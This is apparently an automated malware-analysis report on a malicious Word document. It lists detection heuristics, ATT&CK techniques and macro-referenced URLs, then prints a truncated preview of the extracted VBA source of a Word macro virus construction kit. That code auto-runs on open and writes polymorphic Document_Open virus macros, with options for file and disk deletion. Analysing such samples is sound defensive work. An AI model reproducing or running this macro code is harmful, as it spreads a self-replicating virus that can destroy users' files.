MALICIOUS
550
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
T1071.001 Web Protocols
The sample is a malicious Word document containing obfuscated VBA macros. The macros utilize `Shell()` and `CreateObject()` calls, indicative of downloading and executing a second-stage payload from one of the embedded URLs. The presence of `AutoOpen` and `Document_Open` macros, along with the 'Obfuscated VBA Shell command with URL' heuristic, strongly suggests a downloader or droppper functionality.
Heuristics 13
-
ClamAV: Dos.Trojan.Munga-4 critical CLAMAV_DETECTIONClamAV detected this file as malware: Dos.Trojan.Munga-4
-
VBA macros detected medium 8 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
Obfuscated VBA Shell command with URL critical OLE_VBA_OBFUSCATED_SHELL_URLVBA macro invokes Shell with command text assembled through decoder or string-manipulation functions and includes a URL. This is a high-confidence downloader/dropper pattern, stronger than Shell or URL evidence on their own.
-
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADERAuto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject call
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Environ() call (env variable access) low OLE_VBA_ENVIRONEnviron() call (env variable access)
-
Password-protected archive handoff high SE_PASSWORD_ARCHIVE_LUREDocument gives password instructions for an archive or attachment — often used to keep payloads encrypted until after gateway scanning
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://group.shadowvx.org Referenced by macro
- http://group.shadowvx.comReferenced by macro
- http://www.devilport-systems.deReferenced by macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 35193 bytes |
SHA-256: 18ebfb3053cb1cd6ab6e26745eace731762734a5b120ada0e3ec65122cedb35f |
|||
|
Detection
ClamAV:
Dos.Trojan.Munga-4
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "MVCK"
' =============================================================
' Word2K Classvirus Construction Kit by Necronomikon
' =============================================================
' e-m@il: Necronomikon@shadowvx.com
' =============================================================
' You are looking for...?
' =============================================================
Public AOpen As Boolean
Public AClose As Boolean
Public ANew As Boolean
Public Polymorph As Integer
Public Source As Boolean
Public KillFiles As Boolean
Public Shell As Boolean
Public KDLL As Boolean
Public KPF As Boolean
Public KWF As Boolean
Public KAF As Boolean
Public NoNag As Boolean
Public NoCom As Boolean
Public Pass As Boolean
Public WinUser As Boolean
Public Inter As Boolean
Public Nag As Boolean
Public Ass As Boolean
Public HDKill As Boolean
Public IRC As Boolean
Public NoClose As Boolean
Public Outlook As Boolean
Public Tage As Integer
Public Monate As Integer
Public skipme As Integer
Public Passwort As String
Public Benutzer As String
Public URL As String
Public NagText As String
Public AssText As String
Public DokName As String
Public ModulName As String
Sub AutoOpen()
ShowVisualBasicEditor = False
Application.WindowState = wdWindowStateMinimize
AOpen = True
stealth = 0
Tage = Day(Now())
Monate = Month(Now())
Ordner$ = UCase(Options.DefaultFilePath(wdDocumentsPath))
frmStart.Show
End Sub
Sub ViriiMachen()
On Error Resume Next
Randomize
var1$ = (Chr(65 + Int(Rnd * 22))) + (Chr(122 - Int(Rnd * 22))) + (Chr(65 + Int(Rnd * 22))) + (Chr(122 - Int(Rnd * 22))) & Int(Rnd * 999)
var2$ = (Chr(65 + Int(Rnd * 22))) + (Chr(122 - Int(Rnd * 22))) + (Chr(65 + Int(Rnd * 22))) + (Chr(122 - Int(Rnd * 22))) & Int(Rnd * 999)
var3$ = (Chr(65 + Int(Rnd * 22))) + (Chr(122 - Int(Rnd * 22))) + (Chr(65 + Int(Rnd * 22))) + (Chr(122 - Int(Rnd * 22))) & Int(Rnd * 999)
var4$ = (Chr(65 + Int(Rnd * 22))) + (Chr(122 - Int(Rnd * 22))) + (Chr(65 + Int(Rnd * 22))) + (Chr(122 - Int(Rnd * 22))) & Int(Rnd * 999)
var5$ = (Chr(65 + Int(Rnd * 22))) + (Chr(122 - Int(Rnd * 22))) + (Chr(65 + Int(Rnd * 22))) + (Chr(122 - Int(Rnd * 22))) & Int(Rnd * 999)
var9$ = (Chr(65 + Int(Rnd * 22))) + (Chr(65 + Int(Rnd * 22))) & Int(Rnd * 99)
var6$ = (Chr(65 + Int(Rnd * 22))) + (Chr(122 - Int(Rnd * 22))) + (Chr(65 + Int(Rnd * 22))) + (Chr(122 - Int(Rnd * 22))) & Int(Rnd * 999)
var7$ = (Chr(65 + Int(Rnd * 22))) + (Chr(122 - Int(Rnd * 22))) & Int(Rnd * 999)
var8$ = (Chr(65 + Int(Rnd * 22))) + (Chr(122 - Int(Rnd * 22))) & Int(Rnd * 999)
ActVar$ = (Chr(65 + Int(Rnd * 22))) + (Chr(122 - Int(Rnd * 22))) & Int(Rnd * 999)
NiVar$ = (Chr(65 + Int(Rnd * 22))) + (Chr(122 - Int(Rnd * 22))) & Int(Rnd * 999)
ModulName = Chr(65 + Int(Rnd * 22)) & Chr(122 - Int(Rnd * 22)) & Int(Rnd * 999)
Ordner$ = Options.DefaultFilePath(wdDocumentsPath)
Data = Ordner$ & "\" & DokName & ".txt"
SaveDok = Ordner$ & "\" & DokName & ".doc"
Open Data For Output As #1
Print #1,
If AOpen = True Then Print #1, "Private Sub Document_Open()"
If AClose = True Then Print #1, "Private Sub Document_Close()"
If ANew = True Then Print #1, "Private Sub Document_New()"
If NoCom = False Then
Print #1,
Print #1, " ' Word2K ClassVirus Creation Kit"
Print #1, " ' =================================="
Print #1, " ' Code by Necronomikon"
Print #1, " ' =================================="
Print #1, " ' W2KM." & DokName
Print #1,
End If
Print #1, "On Error Resume Next"
Print #1, "WordBasic.DisableAutoMacros 0"
Print #1, "ActiveDocument.ReadOnlyRecommended
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.